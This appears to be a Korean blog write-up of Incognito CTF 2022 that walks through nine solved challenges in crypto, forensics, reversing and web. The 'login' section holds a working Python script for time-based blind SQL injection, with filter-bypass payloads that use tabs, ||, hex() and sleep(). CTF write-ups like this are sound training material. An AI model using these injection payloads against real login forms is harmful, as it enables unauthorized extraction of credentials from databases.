
주말에 24시간동안 진행된 Incognito CTF에 개인으로 참여했다. 바로 직전에 핵테온 사이버보안 경진대회가 있어서 참여했다.. 연달아 참여했는데 핵테온에서 현타를 느껴서(?) 인코 ctf 참여할때는 부담없이 잠도 충분히 자고.. 대회 중간에 학교 과제도 하고..했더니 7등을 해서 수상을 하긴 했다. 대회 막판에 한 문제에 대한 풀이를 찾고 페이로드를 짜다가 끝났는데 좀 더 열심히 할껄 후회되긴 하지만.. 그래도 수상권이니 만족한다ㅠㅠ
1. MicCheck

Incognito CTF 2022 디스코드 공지사항에 플래그가 주어져있다.
INCO{L3t's_G0!!}
2. I’M FINE THANK U, AND U?
주어진 암호문은 치환 암호의 형태임을 유추할 수 있고, 온라인 복호화 사이트를 통해 아핀 암호문을 해독하고자 했다.

아핀암호는 Ax+B 꼴인데, 여러 A와 B의 조합을 브루트포싱하면
암호문의 2,4,6 번쨰 문장은 A=1, B=19으로 복호화가 가능하고,
암호문의 1,3,5,7 번쨰 문장은 A=1, B=9로 복호화 가능하다는 것을 확인할 수 있다.
마지막 문장이 플래그였는데,

A=17, B=0 일때 마지막 문장이 INCO 플래그를 포함하고 있음을 확인할 수 있다.
하지만 플래그 형식을 갖추고 있지 않으므로, 플래그 형식을 갖추도록 바꿨다. 중괄호와 띄어쓰기가 될만한 부분에 _ 을 추가해주었다.
INCO{OMG_y0u_hav3_an_aff1n1ty_f0r_th3_aff1n3_c1ph3r}
3. crawl
해당 문제는 크롤링 코드를 작성해서 풀이할 수 있었다. https://stackoverflow.com/questions/25718771/scraping-advice-on-crawling-and-info-from-javascript-onclick-function 에서 코드를 참조해 작성했다.
from selenium import webdriver
from selenium.webdriver.firefox.service import Service as FirefoxService
from webdriver_manager.firefox import GeckoDriverManager
import time
from selenium import webdriver
from selenium.webdriver.firefox.options import Options
options = Options()
options.binary_location = r'C:\Program Files\Mozilla Firefox\firefox.exe'
driver = webdriver.Firefox(executable_path=r'C:\Users\PANDA\AppData\Local\Programs\Python\Python310\Modules\geckodriver.exe', options=options)
url = "http://ctf.incognito.kr:9000/ctf/mailbox?page="
for i in range(1,70):
response = driver.get(url+str(i))
for j in range(1,11):
xpath="/html/body/div/table/tbody/tr["+str(2*j-1)+"]/td[2]/button[1]"
time.sleep(1.5)
driver.find_element_by_xpath(xpath).click()
time.sleep(1)
driver.find_element_by_xpath(xpath).click()를 통해 각각의 페이지의 버튼을 클릭 했을 때 효과를 낼 수 있다.xpath 는 각 버튼의 “전체 xpath 복사”를 선택했을 때 구할 수 있고, 각 버튼을 차례로 클릭했을때 xpath 패턴이 위 코드와 같이 2씩 증가함을 확인할 수 있다.

위 파이썬 코드를 실행시키고, firefox 브라우저에서 INCO 와 대소문자까지 매치하는 부분이 찾아지면 검색을 멈췄다.

INCO{It_1s_F1Ag_tHank_yOu3}
4. WOW
메모리 덤프가 주어진 문제로, 메모리 포렌식 툴인 volatility3을 이용해 문제를 풀었다.

windows.pslist 플러그인을 사용하면, 작동중인 프로세스들을 볼 수 있고, 이 중 문제의 제목과 동일한 WOW.exe 프로세스가 PID 4024임을 확인할 수 있다.

cmdline 플러그인을 통해 현재 실행되고 있는 프로세스의 command-line argument를 조회한 결과, WOW.exe의 경로를 확인할 수 있다.

filescan 플러그인을 통해 WOW.exe 파일을 찾을 수 있고, 가상주소도 확인할 수 있다.

dumpfiles 플러그인을 통해 앞서 구한 가상 주소를 옵션으로 지정해 파일을 덤프할 수 있다. 앞서 WOW.exe 관련 파일들을 모두 덤프해보다가, 0xe001ef51db0 가상 주소에 위치한 덤프 파일에서 플래그를 찾을 수 있었다.

두개의 덤프파일 중에서 .dat 파일의 문자열을 확인한 결과, 플래그와 같은 문자열을 찾을 수 있었다.
INCO{m3m0ry_f0r3ns1c_1s_am4z1ng}
5. EZ_MemForensics
해당 문제도 volatility3을 통해서 풀이할 수 있었다.

마찬가지로 주어진 가상 주소를 옵션으로 지정해 파일을 덤프해준다. 해당 문제는 첫번째 가상주소에서 플래그가 담긴 pdf 파일을 찾을 수 있었다.

DataSectionObject에서 .dat 확장자를 지우고 pdf 파일을 열어보았다.

INCO{W3lc0mE_t0_th3_M3m0rY_F0r3nS1cs_w0r1D}
6. Bondee
binwalk를 통해 이미지를 확인했을 때 ZIP 파일이 있었기 때문에, images.zip로 변경해서 압축해제를 하고자 했지만 암호가 걸려있었고, 문자열을 확인해보았다.

헥스에디어로 확인 결과 key는 open_zip!knock!knock! 이었다.
압축해제를 한 결과,

pdf 파일을 하나 획득 할 수 있었다.
pdf를 열어보면 단서를 얻을 수 없지만, https://github.com/xfinest/ctf-Hacker-Resources/blob/master/CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/README.md 에 의해 pdftotext라는 도구를 이용해 확인 결과 코드를 얻을 수 있었다.

해당 코드를 실행한 결과는 다음과 같았다.

INCO{inco_swlug_2023}
7. DoNotDebug
IDA로 exe 파일을 열어보았다.

플래그가 주어지는 부분만 해석을 해보면, dword_1400040E0과 dword_140004040을 xor 하면 플래그를 구할 수 있다는 것을 확인할 수 있다.

해당 값들을 찾아서 C코드를 작성했다.

INCO{3ypassAntiCheat!!}
8. login
로그인 화면이 주어져있다. 싱글쿼터를 입력하면 아래와 같은 warning을 확인할 수 있었기에 sql injection이라는 것을 확인했다.

하지만 필터링이 적용 돼 있었고, ID의 경우에는 공백 입력,or 입력, ascii, ord 함수 입력, select 등 키워드 입력이 불가능했고, pw 부분에는 —와 # 와 같은 주석도 사용할 수 없었다.
ID 부분에 Time based sql injection을 수행했다. 앞의 구문이 참이면 sleep 하는 쿼리를 작성해서 앞의 true/false를 구분했다.
import requests
flag = ""
for i in range(1,26):
for j in range(31,127):
url = "http://ctf.incognito.kr:58888/index.php?id='%09||hex(right(left(pw,"
url += str(i)
url += "),1))="
url += j.to_bytes(4, "big").hex()
url += ""
url+="%26%26sleep(5)--%09&pw=1234"
response = requests.get(url)
print(url)
#print(response.text)
elapsed = response.elapsed.total_seconds()
if elapsed >= 5:
print("Keyword", chr(j))
flag += chr(j)
print(flag)
break
print(flag)
#length is 25
#http://ctf.incognito.kr:58888/index.php?id=%27%09%7C%7Clength(pw)%3E25%09%26%26sleep(1000000)--%09&pw=2134
#id legth is 5
#http://ctf.incognito.kr:58888/index.php?id=%27%09%7C%7Clength(id)%3E5%09%26%26sleep(1000000)--%09&pw=2134
#BENJO
#VAPB{U3110!O1VAQ_4QZ1A!!}
#대소문자 구분을 위해 HEX함수를 사용해서 구분했다.
#VAPB{U3110!o1vaq4q1a!!}
우선 위와 같은 페이로드를 작성하고, || 뒷부분에 length(pw)를 이용해서 길이가 25라는 것을 발견했다. substring이 필터링 돼 있었기 때문에 right와 left 함수를 같이 사용했다.
또한, 처음에 문자와 직접 비교했는데, sql은 대소문자 구분을 하지 않기 때문에 플래그의 대소문자를 정확하게 구할 수가 없어서 필터링된 ascii나 ord 대신 hex를 이용해서 대소문자를 구분했다.

시저암호 복호화 툴을 이용해 플래그를 구했다.
INCO{{H3110!b1ind_4dm1n!!}
9. NAND
해당 문제는 IDA로 파일을 열어서, 입력에 0과 1을 대입하면서 나온 결과를 보고 어떤 비트 연산의 역할을 하고 있는지 확인을 하여 풀이했다.

위는 NAND 역할이다.

위는 NOT 역할이다.

위는 AND 역할이다.

위는 XOR 역할이다.

위는 OR 역할이다.
위와 같이 함수명들을 변경한 결과,

위와 같이 정리할 수 있다.
바로 다음과 같은 그림이다. Full adder이다.


위 코드는 이진수 곱셈법을 그대로 구현한 코드이므로 multiplier 역할을 하게 된다.

IDA로 main 함수 아래쪽을 보면 입력 받은 값을 v183에 저장하는 부분이 있다. 입력 받은 문자가 byte1E20의 어느 인덱스에 존재하는지 저장한다. byte1E20은 "7nku4g0sb91lo8_cvimy3xeprhf6zt5ad2wgj"이다.

이 함수는 a1와 a2의 각 비트 중 하나라도 다르면 0을 리턴하는 함수이므로 두 수가 같은지 확인하는 함수이다.

또한 플래그를 체크하는 부분은, multiply 몇번, add 몇번 해서 같은지 확인하는 방식이다. 따라서 해당 부분을 아래와 같이 함수 f로 구현했다. 예를 들어 위 사진은 f(6,9,123)이다. 이런 식으로 순서에 맞게 40번 함수를 호출했다.
#include <stdint.h>
#include <string>
using namespace std;
typedef uint8_t uint8;
string cand="7nku4g0sb91lo8_cvimy3xeprhf6zt5ad2wgj";
uint8 add(int a,int b){
return (uint8)(a+b);
}
uint8 mul(int a,int b){
return (uint8)(a*b);
}
void f(uint8 Mul,uint8 Add, uint8 Val){
for (uint8 i = 0; i < 37; i++) {
uint8 x = mul(Mul, i);
x = add(Add, x);
if (x == Val) {
printf("%c",cand[i]);
return;
}
}
}
int main(){
//183-0
f(6,9,123);
f(9,3,183);
f(1,7,11);
f(9,8,233);
//183-1
f(3,19,61);
f(3,9,69);
f(6,10,106);
f(2,10,50);
//184-0
f(2,4,52);
f(1,12,31);
f(3,1,43);
f(6,17,89);
//184-1
f(4,12,104);
f(9,16,196);
f(1,6,30);
f(2,5,67);
//185-0
f(3,6,6);
f(2,5,39);
f(3,14,50);
f(3,1,4);
//185-1
f(9,2,128);
f(2,11,79);
f(2,13,33);
f(6,5,179);
//186-0
f(1,12,37);
f(3,12,54);
f(6,22,94);
f(1,16,17);
//186-1
f(6,12,72);
f(6,17,131);
f(2,3,31);
f(2,4,6);
//187-0
f(3,2,95);
f(3,9,12);
f(3,18,114);
f(2,1,29);
//187-1
f(9,6,60);
f(1,9,25);
f(1,3,9);
f(3,15,57);
}
위와 같은 코드를 돌리면 플래그를 획득할 수 있다.
INCO{y34h_3v3ry_op3ra7ion_w1th_on1y_nand_0v0_}
'CTF > CTF 문제풀이' 카테고리의 다른 글
ShaktiCTF 2022 16위! CTF writeup (0) | 2022.12.11 |
---|---|
Power of XX 2022 준우승! (1) | 2022.11.29 |
[CTF][AeroCTF] Localization is hard (2) | 2021.03.01 |